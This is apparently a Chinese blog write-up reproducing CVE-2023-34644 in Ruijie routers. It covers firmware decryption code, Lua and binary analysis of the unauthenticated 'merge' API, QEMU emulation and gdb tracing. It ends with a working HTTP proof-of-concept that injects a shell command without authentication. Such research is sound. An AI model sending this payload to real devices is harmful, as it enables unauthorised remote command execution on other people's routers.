CVE-2023-34644锐捷路由器漏洞复现
前序
起由是想看看近两年主流路由器漏洞是如何挖出来的,然后就找到了CVE-2023-34644
,该漏洞影响面比较广,比较新,又有一定难度,下面是相关漏洞说明
编号:CVE-2023-34644
影响面:锐捷旗下睿易NBS3/5/6/7系列、睿易EG系列 、睿易EAP/RAP/NBC系列、星耀EW系列
CVSS3.1评分:9.8(严重)
固件获取
官网上下载到的是加密固件,binwalk解不开
两个办法,一个是通过异或解密(常用的文件结尾都填充\x00或\xff,同下载的文件进行异或获取key)
一个是通过未加密版本的固件获取解密程序,再用解密程序去还原加密版本,具体方法如下:
原始未解密版本xxx,升级到加密版本yyy时,先调用解密程序对yyy进行固件解密,然后使用openwrt的mtd命令来刷入解密后的固件,故搜索mtd字符串,可找到解密程序rg-upgrade-crypto
将该程序拖入IDA分析,逻辑很简单,分享个自己写的解密代码
#include <stdio.h>
#include <fcntl.h>
#include <malloc.h>
#include <sys/stat.h>
void recycle(void *fileBuf, void *outBuf, int fileFd, int outFd) {
free(fileBuf);
if (outBuf) free(outBuf);
if (fileFd>=0) close(fileFd);
if (outFd>=0) close(outFd);
return 0;
}
void realEndeCrypt(void *fileBuf, void *outBuf, int readNum) {
char k1[4] = "\x01";
char k2[4] = "\x01\x00\x01";
int foo = 0;
for (int ct=0; ct<readNum; ++ct) {
foo = (int) k1[0] + (int)k2[0] + (int)k2[1] + (int)k2[2];
for (int i=0; i<6; ++i)
*((char *)k1 + i) = *((char *)k1 + i + 1);
k2[3] = foo % 2;
int key = 0;
for (int j=0; j<8; ++j)
key |= *((char *)k1 + j) << j;
printf("offset: %d, xor key: %d\n", ct, key);
*(char *)(outBuf + ct) = *(char *)(fileBuf + ct) ^ key;
}
}
void handleEndeCrypt(int remainByte, void *fileBuf, void *outBuf, int fileFd, int outFd) {
int v13 = remainByte;
if (remainByte >= 4097) v13 = 4096;
int readNum = 1;
while (1) {
memset(fileBuf, 0 ,4);
memset(outBuf, 0, 4);
int readNum = read(fileFd, fileBuf, v13);
if (readNum<=0) break;
else {
realEndeCrypt(fileBuf, outBuf, readNum);
if (write(outFd, outBuf, readNum) == readNum) continue;
}
}
recycle(fileBuf, outBuf, fileFd, outFd);
}
int endecrypt(char *fileIn, char *fileOut, int encFlag) {
int fileFd = -1;
int statFd = -1;
int outFd = -1;
struct stat statBuf;
int remainByte = 4096;
if (!fileIn) {
return -1;
}
if (access(fileIn, 0)) {
return -1;
}
if (fileFd) {
statFd = stat(fileIn, &statBuf);
if (statFd < 0) return statFd;
}
void *fileBuf = malloc(4096);
void *outBuf = malloc(4096);
if (!fileFd || (fileFd = open(fileIn, 0, 0))) {
if (fileOut) {
outFd = open(fileOut, O_WRONLY | O_CREAT, S_IREAD | S_IWRITE | S_IRGRP);
if (outFd < 0) return statFd;
}
else {
outFd = 1;
}
if (encFlag) {
if (write(outFd, "upgrade_crypt_v1!@2021", 22) == 22) {
handleEndeCrypt(remainByte, fileBuf, outBuf, fileFd, outFd);
}
}
else {
memset(fileBuf, 0, 4);
if (read(fileFd, fileBuf, 22)==22) {
remainByte -=22;
handleEndeCrypt(remainByte, fileBuf, outBuf, fileFd, outFd);
}
}
}
}
int main(int argc, const char **argv) {
if (argc < 2) {
puts("Param:\noption:\n-in <file>\n-out file\n.");
return -1;
}
else {
int v8 = argc - 1;
const char **v9 = argv + 1;
int encFlag = 0;
char *fileIn;
char *fileOut;
while (v8 > 0)
{
if (!strcmp(*v9, "enc")) {
encFlag = 1;
}
else if (!strcmp(*v9, "dec")) {
encFlag = 0;
}
else if (!strcmp(*v9, "-in")) {
if (--v8 <=0 ) {
puts("Param:\noption:\n-in <file>\n-out file\n.");
return -1;
}
fileIn = (char *)*++v9;
}
else if (!strcmp(*v9, "-out")) {
if (--v8 <=0 ) {
puts("Param:\noption:\n-in <file>\n-out file\n.");
return -1;
}
fileOut = (char *)*++v9;
}
--v8;
++v9;
}
endecrypt(fileIn, fileOut, encFlag);
}
}
编译后运行测试,发现前几轮异或字节会变化,从第7轮开始异或的字节固定为127
用该程序对加密固件进行还原,然后binwalk解开
固件分析
lua调用链分析
查资料知道该漏洞是命令注入且绕过了鉴权,漏洞起始于sysauth
那我们就搜索sysauth字段,eweb/api.lua这行很显眼,很像是无鉴权相关的东西
进文件看看,只有这行内容,显然是定义了一个入口\api\auth
对应的rpc函数rpc_auth
,并定义了它不需要鉴权
entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
找到rpc_auth
的定义处,可以看到函数jsonrpc.handle和作为参数传入的noauth
-- 认证模块
function rpc_auth()
local jsonrpc = require "luci.utils.jsonrpc"
...
local _tbl = require "luci.modules.noauth"
...
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end
先看一下jsonrpc的handle函数,首先根据前端请求json数据的method字段从tbl参数中解析出了method,然后作为参数传递给了proxy函数(同时也把前端的params字段作为参数给了proxy),其外层是reply函数,结合返回值名字response和return的json形式,大概可以猜测handle函数的流程:根据前端请求中的method字段用proxy函数完成对应函数的rpc调用,返回结果通过reply进行格式化,封装为response形式的json数据,最终返回给前端,故此完成请求的闭环
function handle(tbl, rawsource, ...)
local decoder = luci.json.Decoder()
local stat, err = luci.ltn12.pump.all(rawsource, decoder:sink())
local json = decoder:get()
local response
local success = false
if stat then
if type(json.method) == "string" then
local method = resolve(tbl, json.method)
if method then
response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
...
return luci.json.Encoder(response, ...):source()
end
继续分析函数,查看resolve函数,很典型的查表,按照前端的method字段从mod也就是noauth这个类中找到对应的函数
function resolve(mod, method)
local path = luci.util.split(method, ".")
for j = 1, #path - 1 do
if not type(mod) == "table" then
break
end
mod = rawget(mod, path[j])
if not mod then
break
end
end
mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
if type(mod) == "function" then
return mod
end
end
分析proxy函数,其参数是resolve解析出的noauth模块中的函数,又传递给了copcall进行调用
function proxy(method, ...)
local tool = require "luci.utils.tool"
local res = {luci.util.copcall(method, ...)}
local stat = table.remove(res, 1)
if not stat then
...
end
end
分析reply函数,对proxy的返回值进行json解码
function reply(jsonrpc, id, res, err)
require "luci.json"
id = id or luci.json.null
-- 1.0 compatibility
if jsonrpc ~= "2.0" then
jsonrpc = nil
res = res or luci.json.null
err = err or luci.json.null
end
-- if type(res) == "string" then
-- res = luci.json.decode(res) or res
-- end
return {id = id, data = res, error = err, jsonrpc = jsonrpc, code = 0}
end
分析copcall函数,对copxcall进行了封装
function copcall(f, ...)
return coxpcall(f, copcall_id, ...)
end
分析copxcall函数,调用了oldpcall,大概就是在协程中启动noauth中的函数
function coxpcall(f, err, ...)
local res, co = oldpcall(coroutine.create, f)
if not res then
local params = {...}
local newf = function() return f(unpack(params)) end
co = coroutine.create(newf)
end
local c = coroutine.running()
coxpt[co] = coxpt[c] or c or 0
return performResume(err, co, ...)
end
lua函数调用这条线分析到这算是弄清楚了,接下来要分析noauth函数本身了,打开noauth这个模块(这个名字本身也很吸引人),里面有四个函数lgoin\singleLogin\merge\checkNet
,所谓命令注入,即未过滤的参数注入到了系统命令中,那首先排除不带参数的singleLogin
,接着也可以排除checkNet
,其唯一的参数host被checkIp函数过滤了
function checkNet(params)
if params.host then
local tool = require("luci.utils.tool")
if string.len(params.host) > 50 or not tool.checkIp(params.host) then
return {connect = false, msg = "host illegal"}
end
local json = require "luci.json"
local _curl =
'curl -s -k -X POST \'http://%s/cgi-bin/luci/api/auth\' -H content-type:application/json -d \'{"method":"checkNet"}\'' %
params.host
...
end
function checkIp(str)
-- 放宽IP校验(tipcIp需要)
return string.len(str) < 50 and string.match(str, "^[\.%d:%a]+$") ~= nil
end
然后看Login
函数,对password函数做了includeXxs的过滤,那后面大概率有执行点,可能在checkPasswd这个函数里
function login(params)
...
if params.password and tool.includeXxs(params.password) then
tool.eweblog("INVALID DATA", "LOGIN FAILED")
return
end
local authOk
local ua = os.getenv("HTTP_USER_AGENT") or "unknown brower (ua is nil)"
tool.eweblog(ua, "LOGIN UA")
local checkStat = {
password = params.password,
username = "admin", -- params.username,
encry = params.encry,
limit = params.limit
}
local authres, reason = tool.checkPasswd(checkStat)
...
end
先看一下includeXxs
过滤函数,判断逻辑过于简单,没有过滤"\n"等命令分隔符,有一定安全性吧,但安全性不高
function includeXxs(str)
local ngstr = "[`&$;|]"
return string.match(str, ngstr) ~= nil
end
再看一下checkPasswd
函数,里面调用了cmd.devSta.get
function checkPasswd(checkStat)
local cmd = require("luci.modules.cmd")
local _data = {
type = checkStat.encry and "enc" or "noenc",
password = checkStat.password,
name = checkStat.username,
limit = checkStat.limit and "true" or nil
}
local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
if type(_check) == "table" and _check.result == "success" then
return true
end
return false, _check.reason
end
继续跟踪cmd.devSta.get
,用了doParams对参数进行了处理,接着调用fetch,并传入"get"等参数
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
for i = 1, #opt do
...
devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
...
先看doParams
函数,从params里取出了一些数据,注意我们没有params.remotePwd
,所以取出的password为空,我们存放在params.data
字段里的password
经过luci.json.encode
被放到了data中
local function doParams(params)
require "luci.json"
...
local data, back, ip, password = nil, nil, nil, nil
local _shell = params.cfg_cmd .. " " .. params.method .. " --module '" .. params.module .. "'"
-- 远程代理调用
if params.remoteIp then
_shell = _shell .. " -i '" .. params.remoteIp .. "'"
ip = params.remoteIp
end
if params.remotePwd and not (params.cur) then
_shell = _shell .. " -p '" .. params.remotePwd .. "'"
password = params.remotePwd //此处password为空
end
if params.data then
data = luci.json.encode(params.data) //我们传入的password存放到了data中
_shell = _shell .. " '" .. data .. "'"
end
...
return data, back, ip, password, _shell
end
end
看一下luci.json.encode
对我们的password做了什么处理,这个类的初始化方法对传入的字符串进行了编码,将"\"替换为了"\\",导致password中的"\n"也没法用了
function Encoder.parse_string(self, obj)
if self.fastescape then
self:put('"' .. obj:gsub('\\', '\\\\'):gsub('"', '\\"') .. '"')
else
self:put('"' ..
obj:gsub('[%c\\"]',
function(char)
return '\\u00%02x' % char:byte()
end
)
.. '"')
end
end
noauth
里的函数就只剩merge
还没看了,整个params传进去了,看样子也没做任何过滤(笑哭),同login
一样,调用devSta,里面用doParams
对参数进行提取和编码,不同的是这次";|`${}"都可以用了,不会被编码
function merge(params)
local cmd = require "luci.modules.cmd"
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end
然后这些参数传递给了fetch方法,实际调用的是ac_config.lua
中的fetch方法,param
未经任何检验传递给了uf_call.client_call
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call = require "libuflua"
local ctype
ctype = get_ctype()
param = param or ""
ip = ip or ""
password = password or ""
...
local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
return stat
end
继续跟踪uf_call
的原型libuflua
,定位到了libuflua.so
,从这开始进入了二进制的范畴了,其实现在已经可以写PoC进行测试了(大概率请求传入的参数都是在lua里进行处理和检测的,后续的程序应该只是负责执行,然后从一路过来的rpc\cmd\shell\call
这些关键字可以猜测,传入的参数应该是会放到命令行中执行的),但本着分析到底的态度,我们还是继续跟一下程序
总结下前序的lua调用链,grep
这个神器+直观的源码,帮助我们不停地往里分析,还是很容易的
二进制文件分析
把libuflua.so
拖入IDA,直接定位client_call
,发现调用的外部函数
继续grep,找到libunityframe.so
对其进行分析,函数很简单,前面一堆输出信息的没啥用,然后就是一大堆"排比句",提取lua传递过来的参数,进行序列化,a1[3]里存放的是lua的param,其序列化后的v44形如{"method":"devSta.set", "params": {"data": {}}}
,data字段里放的是lua的param
v39 = (_BYTE *)a1[3];
v40 = json_object_new_string(v39);
...
json_object_object_add(v21, "data", v40);
...
json_object_object_add(v6, "params", v21);
v44 = json_object_to_json_string(v6);
然后就看到创建了client_socket,然后将json化的v44通过write发送出去了,嗯继续甩锅,之前见到很多类似后端,通过mqtt\websocket\socket
完成数据转发的情况
v45 = uf_socket_client_init(0);
v51 = strlen(v44);
uf_socket_msg_write(v45, v44, v51);
既然有client,那必然有server,直接看connect连接了什么,发现连接的信息藏到了sock文件中
os_domain_socket_client_connect(v8, "/tmp/uniframe_sgi/lib_uf_server.sock")
立马换思路,grep搜uf_socket_server_init
,然后就找到了unifyframe-sgi.elf
,这个程序难分析一些,代码量很大并且都去了符号,前面一堆accept\多线程\互斥锁\信号量这些并发的东西,然后就到了uf_socket_msg_read
,读出数据包,然后用parse_content
对数据包进行解析,然后传递给add_pkg_cmd2_task
函数
先看parse_content函数,通过反序列化取出数据包中各个字段的值,v6值为devSta.set
,
if ( (unsigned int)json_object_object_get_ex(v4, "method", &v15) == 1 )
{
v6 = (const char *)json_object_get_string(v15);
...
if ( strstr(v6, "cmdArr") )
{
...
}
else
{
*(_DWORD *)(a1 + 60) = 1;
v13 = malloc_cmd();
if ( v13 )
{
v14 = parse_obj2_cmd(v4, string);
...
}
else
{
...
}
}
固调用parse_obj2_cmd
,继续取出params字段中,存放到堆上某偏移处(a1指针指向的某偏移),这里关注我们能控制的data字段,其被放入了a1+12处
if ( json_object_object_get_ex(v47, "data", &v46) == 1 && (unsigned int)(json_object_get_type(v46) - 4) < 3 )
{
v43 = json_object_get_string(v46);
if ( v43 )
{
v44 = strdup(v43);
*(_DWORD *)(v5 + 12) = v44;
if ( !v44 )
{
v9 = 561;
goto LABEL_136;
}
}
}
然后进入add_pkg_cmd2_task
,前面是做检查和输出一些日志,然后调用了可疑的uf_cmd_call
,一大堆取值和做检查,然后看到了一个ufm_popen
,分析其参数v100
来源于url
字段,而这个里的url
字段,看样子是我们可以控制的(来自于a1+12的data字段处),找到执行点了?
v19 = *(_DWORD *)(a1 + 12);
...
v20 = json_tokener_parse(v19, v18);
v23 = json_object_object_get(v20, "url");
v24 = v23;
...
v26 = (const char *)json_object_get_string(v24);
v25 = strlen(v26);
v100 = (const char *)malloc(v25 + 128);
...
v29 = strlen(v26);
v31 = snprintf(v100, v29 + 127, "curl -m 5 -s -k -X GET \"%s", v26);
strcpy(&v100[v31], "\"");
v101[0] = 0;
while ( 1 )
{
ufm_popen(v100, v101);
由于以上都是我们的静态分析,中间可能忽略了一些goto\if\else等跳转语句,实际上不一定能执行到这里,所以需要动态调试进行路径验证
固件仿真
环境搭建
没有真实设备,FirmAE
等工具也不大行,故用系统模式的qemu进行仿真,从别人那copy来的qemu启动脚本,内核和磁盘系统的下载链接为https://people.debian.org/~aurel32/qemu/mipsel
,启动qemu,用密root/root
#!/bin/bash
sudo qemu-system-mipsel \
-cpu 74Kf \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap \
-nographic
然后将qemu和宿主机的网络配通,用下面命令添加网卡,同宿主机一个网段
sudo ifconfig eth0 xx.xx.xx.xx
固件打包为squashfs.tar.gz,然后scp上传到qemu,然后解压
scp squashfs.tar.gz root@192.168.101.111:/root
执行以下命令,赋予所有文件可执行权限,chroot前需要挂载qemu本身的/proc
和/dev
,保留这两个重要的系统目录
cd squashfs
chmod -R 777 ./
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh
启动固件
运行环境搭好后,开始模拟固件操作,openWRT
刷完文件系统后,会启动/sbin/init进行初始化,为了尽可能模拟设备,我们将其放到后台运行
/sbin/init &
然后内核会启动/etc/init.d
路径下的初始化脚本,全部启动的话可能会有一些缺失文件和硬件的报错,故我们这里进行部分仿真,首先webServer肯定得启动,找到启动脚本/etc/init.d/lighttd
,通过以下命令启动
/etc/init.d/lighttd start
出现缺失文件报错,通过报错信息+IDA字符串搜索定位到文件/var/run/lighttpd.pid
,由于IDA中看到其只对存在性进行校验,没有检查内容,固创建空文件即可,其余文件同理
然后就能通过web访问漏洞入口了
漏洞相关的lua链通过cgi转发即时调用,可执行程序unifyframe-sgi.elf
需要我们手动启动
/etc/init.d/unifyframe-sgi start
发现报错Failed to connect to ubus:
,打开IDA分析,可以看到用到了ubus
总线进行进程间通信,固需要先后启动/sbin/ubusd
、uf_ubus_call.elf
和unifyframe-sgi.elf
,接着又看到一个segment fault
,继续IDA分析,可以看到程序停在了打开/tmp/rg_device/rg_device.json
文件这里
v8 = json_object_from_file("/tmp/rg_device/rg_device.json");
v9 = v8;
if ( !v8 )
{
v13 = 704;
v6 = "ERROR (%s %s %d)read cap file failed!";
goto LABEL_32;
}
v10 = json_object_object_get(v8, "dev_type");
string = json_object_get_string(v10);
strncpy(byte_436428, string, 126);
应该是我们漏了一个拷贝文件的初始化步骤,固从别的地方找到一个带dev_type
字段的rg_device.json
拷过来
再从运行unifyframe-sgi.elf
没有报错,ps也能查到该进程,至此仿真完成
固件调试
验证猜想
传gdbserver到qemu上,gdbserver下载链接,这里找了个老版本的,附加到unifyframe-sgi.elf
进程
gdbserver 0.0.0.0:1234 --attach pid
然后通过宿主机上的IDA或者gdb(建议)连接到该端口,建议后面几条命令写到gdb脚本中通过source加载,后面gdb会频繁的跑挂掉需要重新启动
gdb-multiarch ./usr/sbin/unifyframe-sgi.elf
set architechture mips
set endian little
set follow-fork-mode parent
target remote ip:port
这里记录一下gef或者pwndbg的选择,在多线程程序调试上还是有区别的,pwndbg输出日志更简洁并且可以用telescope查看结构体,但老是跑挂掉,后面我不得不换gef,虽然有一大堆丑陋的threads日志,但感觉更稳定些
gdb跑起来后,先在uf_socket_msg_read
后下断点,然后继续运行,这个时候浏览器访问/api/auth
,bp抓包
然后根据我们前面的分析将包改为我们认为能够触发的样子,改的地方有三个:GET->POST,加上Content-Type字段,空一格加上上传的参数,改包后放行
POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 192.168.121.158
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
{"method": "merge", "params": {"url": "bar"}}
然后就能看到gdb断下来了,$s0+4
中存储着传过来的数据包,params.data
字段里存放着我们上传的参数
接着我们在uf_cmd_call
这里下断点,继续运行可以观察到程序进入了该函数,同时,由于程序会在多个线程间跳来跳去,而我们只关注调用了uf_cmd_call
的这个线程,所以进入该函数后通过下面命令锁住当前线程,然后接着调试
set scheduler-locking on
此阶段我们的目标是验证程序能否走到ufm_popen
这一步,故需要在if\else\goto等跳转处下断点,接着发现程序在uf_cmd_call+205行处,v16=0
,跳转到了LABEL_86处,跳过了ufm_popen
的调用,而v16
来源于a1+4
也就是"from_url"
字段,是不可控的,跳转是必然的,故ufm_popen
这条路被堵死了
重新找执行点
既然unifyframe-sgi.elf
收集了params参数的各个字段,后面一定会使用它们进行配置的,我们把当前的任务变成继续寻找执行点,由于未执行的代码非常多,一条条跟不现实(gdb还随时可能跑飞),我们只需要在那些大的跳转(防止跟丢)和看起来奇怪的函数(可能里面会有执行点)前下断点,那些赋值、日志打印语句通通跳过,这样能大大简化工作
这里总结gdb断点位置的经验:猜测可能是分支延迟效应的影响,如果断点离跳转指令过近,会出现以下报错导致断不下来,故我选择断点下在距跳转前两三条指令的位置
很快,发现程序在uf_cmd_call+364处进入了if,然后因v102[5]=“set”
跳转到了LABEL_96
364 if ( !v102[20] )
{
v53 = v102[5];
if ( !strcmp(v102[5], "set") || !strcmp(v53, "add") || !strcmp(v53, "del") || !strcmp(v53, "update") )
{
v100 = 0;
v99 = 127;
goto LABEL_96;
}
v54 = (int *)a1;
if ( v102[7] )
后面观察到程序进入了407行的if,接着便调用了ufm_handle,其参数v102是从a1中取出的各字段的值,uf_cmd_call
函数前面的工作基本是都是在给v102赋值,这个地方终于用到了v102的值,那大概率会在这里面使用参数了
407 if ( v81 )
{
v82 = a1;
if ( !*(_BYTE *)(v102[0] + 48) )
{
...
if ( v83 && *v83 )
{
...
}
else if ( HIBYTE(v102[4]) && g_debug >= 2 || g_debug >= 3 )
{
...
}
v98 = ufm_handle(v102);
pthread_mutex_unlock(v102[24] + 112);
_pthread_unregister_cancel(v101);
跟进ufm_handle
函数,这个函数体也很长,还是用那个思路,只在关键函数\大跳转处下断点,然后看到349这里进入了if(v4是"set")
然后进入sub_40FD5C
,接着到483行这里,调用sub_40CEAC
在popen\ufm_commit_add
等函数前下断点,发现调用的是下面的ufm_commit_add
可以看到ufm_add_commit
的参数$a1
的值指向字符串,该字符串是由我们上传的参数拼接而成的一条命令
ufm_add_commit
中调用了async_cmd_push_queue
,该函数很简单,a1为0,a2为指向命令的指针,将a2存入v7偏移28字节处,然后跳转LABEL_34
,然后看到信号量相关的操作sem_init
和sem_post
,后面函数就返回了,好吧那看来是又把数据甩给别的线程了,查看sem_post
参数的交叉引用,找到sub_41AFC8
函数
int __fastcall async_cmd_push_queue(_DWORD *a1, const char *a2, unsigned __int8 a3)
{
...
if ( !a1 )
{
if ( a2 )
{
v19 = strdup(a2);
*(_DWORD *)(v7 + 28) = v19;
if ( v19 )
goto LABEL_34;
...
LABEL_34:
v20 = (_DWORD *)dword_435DE0;
*(_DWORD *)(v7 + 60) = &commit_task_head;
dword_435DE0 = v7 + 60;
v21 = dword_4360A4;
*(_DWORD *)(v7 + 64) = v20;
*v20 = v7 + 60;
dword_4360A4 = v21 + 1;
*(_BYTE *)(v7 + 32) = v3;
if ( !v3 )
sem_init(v7 + 36, 0, 0);
pthread_mutex_unlock(&unk_4360B8);
sem_post(&unk_4360A8); //查看参数的交叉引用
return v7;
可以看到sub_41AFC8
里有一个sem_wait
,函数先阻塞在此处,当接收到来自async_cmd_push_queue
的sem_post
后,继续往下执行,然后就调用sub_41ADF0
函数
void __fastcall __noreturn sub_41AFC8(int a1)
{
pthread_setcanceltype(1, 0);
v2 = pthread_self();
pthread_detach(v2);
prctl(15, "exec_cmd_task");
*(_BYTE *)(a1 + 8) = 0;
while ( 1 )
{
do
{
sem_wait(&unk_4360A8); //信号量
pthread_mutex_lock(4415672);
v3 = commit_task_head;
if ( (int *)commit_task_head == &commit_task_head )
{
v4 = 0;
}
else
{
v4 = commit_task_head - 60;
*(_DWORD *)(*(_DWORD *)commit_task_head + 4) = *(_DWORD *)(commit_task_head + 4);
**(_DWORD **)(v3 + 4) = *(_DWORD *)v3;
*(_DWORD *)(v3 + 4) = 0;
*(_DWORD *)v3 = 0;
--dword_4360A4;
}
pthread_mutex_unlock(&unk_4360B8);
*(_DWORD *)(a1 + 12) = v4;
}
while ( !v4 );
*(_DWORD *)(a1 + 4) = dword_4360A0;
*(_BYTE *)(a1 + 8) = 1;
sub_41ADF0(v4);
进入sub_41ADF0
函数,上面的if进不去,然后就调用了ufm_popen,其参数为a1偏移28字节处,里面刚好存放我们的命令字符串,至此终于调通了命令注入点
int __fastcall sub_41ADF0(_DWORD *a1)
{
...
v1 = *a1;
if ( *a1 )
{
...
}
else
{
if ( !*((_BYTE *)a1 + 32) )
{
result = ufm_popen((const char *)a1[7], a1 + 13);
v3 = a1;
goto LABEL_9;
}
...
}
return result;
}
POC
最终执行点ufm_popen
处的命令字符串形式如下,固可以将PoC中的"foo"或者"bar"替换为任意命令,并用;|${}
等拼接,注意外面需要加一对单引号同字符串本身的单引号闭合,才能被当做命令而不是字符串
"/usr/sbin/module_call set networkId_merge '{\"foo\": \"bar\"}'"
提供一个自己的POC
POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 192.168.121.158
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 64
{"method": "merge", "params": {"foo": "'`ls > /www/hack.txt`'"}}
攻击演示
用bp发送POC数据包,通过浏览器访问目标路径,可知攻击已完成,整个过程不需任何授权
后记
在知道部分漏洞信息的前提下,光是调试分析就花了我两天时间,如果是从无到有的挖掘,茫茫大海捞针,对人的信念和能力都是更大的考验,这里小记一下三点心得
- 会找目标最重要。这是一个决定开始的关键问题,如何找到一款具有价值又有安全隐患的设备,以及从何处开始入手分析,选对了事倍功半,小马达点火咔咔运转,选错了走入死胡同,核反应堆也能干熄火。挖掘者巧妙地选取了这款设备,有很大的市场应用面,并且吧从代码风格以及对程序的加密保护上来看,安全性确实不是很高(但凡对lua\elf\so库做了点加密,分析难度会直线上升);然后最重要的是选取了
sysauth
这个关键字,顺藤摸瓜马上就能看到noauth\includeXXs\Cmd\Params\rpc
这些字眼咔咔往外冒,基本成功了一半 - 分析方法有捷径。分析的路线可以选择从交互入口开始往里钻,或者从危险函数入手溯源,从交互入口开始能知道哪些是自己能控制的,但后续会遇到太多交叉路口太多死胡同;从危险函数开始的话目标是清晰的,也得找到一条回归用户的路,两种方法各有利弊,哪方面的已知条件更大些就往哪走。中间找路子是有很多技巧的:该设备的lua调用分析很容易,基本都是大白话,但二进制部分的分析就有讲究了,gdb如果一条条指令跟是非常麻烦的,我们需要搞清楚目标是什么,gdb调试的目的包括查看过程中的内存值,跟进函数调用和分支跳转,分析路径可达性等,根据目的选取方法,比如我们这里的目的是跟进函数调用,那一个很快捷的方法是只在可疑函数和大跳转处下断点,既能跳过日志输出变量赋值这些代码,又能防止跟丢;然后每下一个断点都要做好笔记,并且把那些初始化的set命令写到gdb脚本里,因为调试这种复杂的多进程多线程的程序,gdb经常会跑丢或者挂掉,需要反复重启,这个时候我们只需要加载gdb脚本,并恢复上一个断点,可以轻易的接上中断的工作,养成这个好习惯能大大提升效率,把精力集中到分析本身而不是工具的试错上
- 挖洞的信念感。挖洞是孤独的,不确定的,仿佛置身黑暗,灵感的光如同风吹动蜡烛忽暗忽明,需要有坚定的信念摸着黑往前走,而信念本身又是基于经验,成功的经历又能反哺信念感,所以要常动手
本来有挺多想法,杂事太多整忘了,等想起来的时候再补充吧